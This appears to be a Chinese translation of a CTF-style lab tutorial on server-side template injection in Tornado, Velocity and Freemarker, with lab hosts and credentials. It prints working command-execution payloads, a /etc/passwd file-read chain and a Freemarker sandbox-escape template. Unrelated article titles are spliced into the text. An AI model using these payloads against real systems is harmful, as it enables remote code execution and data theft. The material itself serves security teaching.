作者 | 原作者gosecure,翻译整理shan66

来源 | http://gosecure.github.io/

在上一篇文章中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及两种模版引擎相关的注入漏洞。在本文中,我们将继续为读者介绍其他四种模版引擎相关的注入漏洞。(上一篇传送门:详解模板注入漏洞(上))

6. LAB 3: Tornado (Python)

简介

Tornado模板是Tornado(一款流行的Python Web框架)中的一个引擎。针对该模版的练习非常简单,这表明:有时候仅需阅读库文档就能找到强大的功能。

模板语法基础知识

Hello {{userName}}

基本数据绑定

攻击面

它比Jinja2简单多了。因为它支持import指令。这个指令的实现类似于Python的import。

{%import os%}

import指令前后需要加上{…}括号。

下面展示的是一个完整的payload,它用于导入os模块,并执行方法popen(即打开进程)。

{%import os%}{{os.popen("whoami").read()}}

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8013/。

人脸识别除了可以破案,还能制造冤案...

这个服务用于模拟下列情形:每次提交表单时都会发送一封邮件。

使用以上方法就可以利用这里的漏洞。

您可以访问服务器上的flag.txt文件了吗?

7. LAB 4: Velocity (Java)

简介

Velocity是最流行的Java模板引擎之一。而Freemarker则是另一个非常流行的选择。在本文中,我们之所以选择Velocity,是因为的利用难度要大一些。

模板语法基础知识

参考资料:Velocity的官方文档

攻击面

James Kettles发现的原始payload需要激活一个名为ClassTool的可选插件。

$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")

在本文中,将不会启用该插件。

Velocity支持为变量赋值。

#set( $foo = "bar" )$foo

这个模式用于访问我们的目标类型。下面是一个实现命令执行功能的payload,但是这里不需要启用任何可选的插件。

#set($x='')###set($rt=$x.class.forName('java.lang.Runtime'))###set($chr=$x.class.forName('java.lang.Character'))###set($str=$x.class.forName('java.lang.String'))###set($ex=$rt.getRuntime().exec('ls'))##$ex.waitFor()#set($out=$ex.getInputStream())###foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8013/。

要访问管理功能,请使用凭据admin/123456进行登陆。

知乎砍出正义一刀,PDD祭出终极防御:“供应商员工”!轻松化解攻势!

使用以上方法就可以利用该漏洞。

您可以访问服务器上的flag.txt文件了吗?

8. LAB 5: Freemarker (Java)

简介

Freemarker是另一款流行的Java模板引擎。不过,它的发展速度要比Velocity快得多。

模板语法基础知识

${message}${user.displayName}

参考资料:Freemarker官方文档

攻击面

内置函数

Freemarker具有一个特定的内置函数列表(在Freemarker文档中通常称为built-in)。这些内置函数可以作为变量的后缀使用。例如,可以转化为nbAverageUsers可以转化为{nbAverageUsers?abs}。

abs, absoluteTemplateName, ancestors, api,boolean, byte,c, capFirst, capitalize, ceiling, children, chopLinebreak, chunk, contains, counter,date, dateIfUnknown, datetime, datetimeIfUnknown, default, double, dropWhile,endsWith, ensureEndsWith, ensureStartsWith, esc, eval, exists,filter, first, float, floor,groups,hasApi, hasContent, hasNext, html,ifExists, index, indexOf, int, interpret, isBoolean, isCollection, isCollectionEx, isDate, isDateLike, isDateOnly, isDatetime, isDirective, isEnumerable, isEvenItem, isFirst, isHash, isHashEx, isIndexable, isInfinite, isLast, isMacro, isMarkupOutput, isMethod, isNan, isNode, isNumber, isOddItem, isSequence, isString, isTime, isTransform, isUnknownDateLike, iso, isoH, isoHNZ, isoLocal, isoLocalH, isoLocalHNZ, isoLocalM, isoLocalMNZ, isoLocalMs, isoLocalMsNZ, isoLocalNZ, isoM, isoMNZ, isoMs, isoMsNZ, isoNZ, isoUtc, isoUtcFZ, isoUtcH, isoUtcHNZ, isoUtcM, isoUtcMNZ, isoUtcMs, isoUtcMsNZ, isoUtcNZ, itemCycle, itemParity, itemParityCap,jString, join, jsString, jsonString,keepAfter, keepAfterLast, keepBefore, keepBeforeLast, keys,last, lastIndexOf, leftPad, length, long, lowerAbc, lowerCase,map, markupString, matches, max, min,namespace, new, nextSibling, noEsc, nodeName, nodeNamespace, nodeType, number, numberToDate, numberToDatetime, numberToTime,parent, previousSibling,removeBeginning, removeEnding, replace, reverse, rightPad, root, round, rtf,seqContains, seqIndexOf, seqLastIndexOf, sequence, short, size, sort, sortBy, split, startsWith, string, substring, switch,takeWhile, then, time, timeIfUnknown, trim, truncate, truncateC, truncateCM, truncateM, truncateW, truncateWM,uncapFirst, upperAbc, upperCase, url, urlPath,values,webSafe, withArgs, withArgsLast, wordList,xhtml, xml

所有内置函数的详细清单

从安全的角度来看,大多数内置函数都非常简单且乏味。但有一件事很特别,那就是new函数。我们可以在官方文件中阅读以下注意事项。

“这个内置函数可能存在安全问题,因为模板作者可以创建任意Java对象,然后使用它们,只要它们实现了TemplateModel的话。此外,模板作者甚至还可以为没有实现TemplateModel的类触发静态初始化。”资料来源:Freemarker docs: Built-in new

Execute类

按照官方描述,我们可以调用exec()函数(TemplateModel的入口方法)。通过其设计,Execute类允许我们执行命令并以字符串的形式获得命令执行结果。

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8025/。

要访问管理功能,请使用凭据admin/hackfest进行登陆。

通过以上方法就可以利用该漏洞。

您可以访问服务器上的flag.txt文件了吗?

潜在的防御机制

值得一提的是,Freemarker确实提供了一种方法来限制模板中的类引用,接下来的练习将按照文档中的描述实现一个ClassResolver。

“您可以(从2.3.17版本开始)使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或者new_builtin_class_resolver设置来限制这个内置寒水可以访问哪些类。更多信息请参见Java API文档。如果您允许不太可信的用户上传模板,那么您务必深入研究一下这个话题。”资料来源:Freemarker docs: Built-in new

9. LAB 6: Freemaker (沙箱逃逸)

Freemarker中的沙盒

Freemarker具有过滤哪些类允许访问的功能。例如,需要实现TemplateClassResolver类的子类,这个类将决定模板中的类引用是否被允许。

<ul><#list .data_model?keys as key><li>${key}</li></#list></ul>

或者:

${.data_model.keySet()}

查找对类加载器的引用

Classloader类的实例有可能给我们提供远程代码执行(RCE)权限。例如,类加载器可以从外部提供方法加载类(Java字节码)。

以下是可能返回Classloader的常见位置列表。

java.lang.Class.getClassLoader()java.lang.Thread.getCurrentClassLoader()java.lang.ProtectionDomain.getClassLoader()javax.servlet.ServletContext.getClassLoader()org.osgi.framework.wiring.BundleWiring.getClassLoader()org.springframework.context.ApplicationContext.getClassLoader()这些API将转换为以下Freemarker语法形式。//java.lang.Object.getClass() -> java.lang.Class.getClassLoader()${any_object.class.classLoader}//javax.servlet.ServletRequest -> javax.servlet.ServletContext.getClassLoader()${request.servletContext.classLoader}

并非所有的类加载器都是相同的

尽管不同的类加载器可能有一个公共的子类,但是,它们的实现却差别很大。不同的Web容器(托管Java应用的Web服务器)在运行时将使用不同的类加载器。因此,我们需要调整我们的payload来锁定正确的目标。

读取文件/目录列表

<#assign uri = classLoader.getResource("META-INF").toURI() ><#assign url = uri.resolve("file:///etc/passwd").toURL() ><#assign bytes = url.openConnection().inputStream.readAllBytes() >${bytes}

(Payload来源:Room for Escape: Scribbling Outside the Lines of Template Security)

在我们的测试中,我们发现到字节数组不会自动转换为字符串。规避该限制的一种方法是每次提取一个字节。

${bytes[0]}${bytes[1]}${bytes[2]}[...]

别忘了,字节是以十进制格式打印的。

通用方法

Oleksandr Mirosh和Alvaro Mu?oz 在他们的文章中详细介绍了Web容器特有的各种链条。这些容器包括Tomcat、Jetty、GlassFish、WebLogic和WebSphere。如果您想寻找Freemarker之外的沙盒的逃逸技术,这些都是一个很好的灵感来源。

然而,如果您的目标是利用当前的模板引擎,则存在一个通用的payload(也是来自上面提及的同一篇文章),适用于Freemarker 2.3.29以及更低版本(2020年3月以及修复了该漏洞)。为此,您需要在数据模型中找到一个作为对象的变量。

<#assign classloader=<<object>>.class.protectionDomain.classLoader><#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")><#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)><#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>${dwf.newInstance(ec,null)("whoami")}

这里是一个模板,它将对数据模型中的所有变量进行暴力枚举。

<#list .data_model as key, object_test><b>Testing "${key}":</b><br/><#attempt><#assign classloader=object_test.class.protectionDomain.classLoader><#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")><#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)><#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>Shell ! (${dwf.newInstance(ec,null)("id")})<#recover>failed</#attempt><br/><br/></#list>

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8026/。

该应用程序与之前的基本相同,唯一区别在于:它被配置为只能访问有限的类,因此,这里将无法直接使用Execute类。

要访问管理功能,请使用凭证admin/hackfest进行登陆。

这个应用程序看上去与之前的应用程序非常相似。最后,请验证您是否连接到了8026端口。

10. 结束语

事实上,由于模板引擎的功能是如此强大,以至于必须将其视为脚本来对待。而脚本需要具有非常好的沙箱保护功能,否则的话,就需要通过用户权限来限制对这些具有安全风险功能的访问。因为在很多情况下,它们可能会危及底层操作系统。

参考文献

Server-Side Template Injection [Slides] | [White-paper] by James Kettle

Room for Escape: Scribbling Outside the Lines of Template Security [Slides] | [White-paper] by Oleksandr Mirosh and Alvaro Muñoz

Exploitation of Server Side Template Injection with Craft CMS (Twig template)

Cheatsheet – Flask & Jinja2 SSTI

PayloadsAllTheThings: Community Github repository

往期推荐

人脸识别除了可以破案,还能制造冤案...

Nacos 集群部署模式最佳实践

详解模板注入漏洞(上)

知乎砍出正义一刀,PDD祭出终极防御:“供应商员工”!轻松化解攻势!

IDEA中无法import自己工程中类的问题解决方法

JDK 16 即将发布,新特性速览!

详解模板注入漏洞(下)相关推荐

  1. android WebView详解,常见漏洞详解和安全源码(下)

    上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑.  上篇:android WebView详解,常见漏洞详解和安全源码(上)  转载请注明出处:http ...

  2. 详解PHP反序列化漏洞

    详解PHP反序列化漏洞 序列化与反序列化 定义 常见使用情况 常见的序列化格式 反序列化中常见的魔术方法 反序列化绕过 protected和private绕过 __wakeup绕过(CVE-2016- ...

  3. cve-2019-11581 Atlassian Jira未授权服务端模板注入漏洞

    漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和Jira ...

  4. android WebView详解,常见漏洞详解和安全源码(上)

    这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析.  由于博客内容长度,这次将分为上下两篇,上篇详解 WebView ...

  5. php模板注入漏洞,74CMS前台模板引擎注入漏洞漏洞复现

    74CMS 曝高危漏洞,攻击者只需注册会员账号,上传一份包含恶意内容的简历,即可控制网站服务器,进行任意操作. 漏洞复现.jpg 74CMS 又称 "骑士 CMS ",是一项以 P ...

  6. Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

    0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...

  7. Spring框架学习教程,详解Spring注入bean的几种方式

    首先,要学习Spring中的Bean的注入方式,就要先了解什么是依赖注入. 依赖注入是指:让调用类对某一接口的实现类的实现类的依赖关系由第三方注入,以此来消除调用类对某一接口实现类的依赖. Sprin ...

  8. 详解模板引擎工作机制

    本文讲的是详解模板引擎工作机制, 我已经使用各种模版引擎很久了,现在终于有时间研究一下模版引擎到底是如何工作的了. 简介 简单的说,模版引擎是一种可以用来完成涉及大量文本数据的编程任务的工具.一般而言 ...

  9. Flask(Jinja2)服务端模板注入漏洞——vulhub/flack/ssti

    一.服务端模板注入漏洞 简述: 服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 ...

最新文章

  1. Android中Service生命周期、启动、绑定、混合使用
  2. 收藏 | 服务器和存储技术知识
  3. Android Camera2 拍照(四)——对焦模式
  4. 日常生活开支记账明细_花钱如流水?拥有这两款记账APP,1年能省1万块!
  5. photoshop CG6 基础知识的学习
  6. 深入浅出redux知识
  7. 十七、String类型常用方法(二)
  8. Configuration Manager 2012 R2系统需求
  9. python3 zip命令_在打包为zip文件的应用程序上从命令行运行pdb?
  10. 数据库学习笔记【自学教程】—— 如何建立数据库
  11. 我国的省级行政区中,哪些邻省最多,哪些最少?
  12. DWG文件怎么转换成PDF的一分钟实用技巧
  13. Python 救救我!如何连接串口实现一个报警灯报警器
  14. 转载-计算机基础教程之屏蔽软件联网
  15. 创建与维护MySQL数据库
  16. 网站上线前期应该如何制定关键词优化策略
  17. 电子元器件3D模型免费下载资源
  18. 对抗样本(一)以综述入门
  19. [附源码]java毕业设计汽车票售票系统lunwen
  20. php中注册数字插不进去,进php数字

热门文章

  1. ubuntu12.04手动安装virtualbox增强功能
  2. linux shell脚本 引入外部shell文件
  3. docker 安装 solr搜索引擎
  4. linux lsof 已打开的文件列表
  5. linux upx 报错 NotCompressibleException
  6. 使用 openssl反弹加密 shell
  7. linux查看网卡速率
  8. Composer PHP依赖管理
  9. java语言文本挖掘 分词_文本挖掘分词mapreduce化
  10. mysql 存储过程 输出warning_如何抑制MySQL存储过程的输出?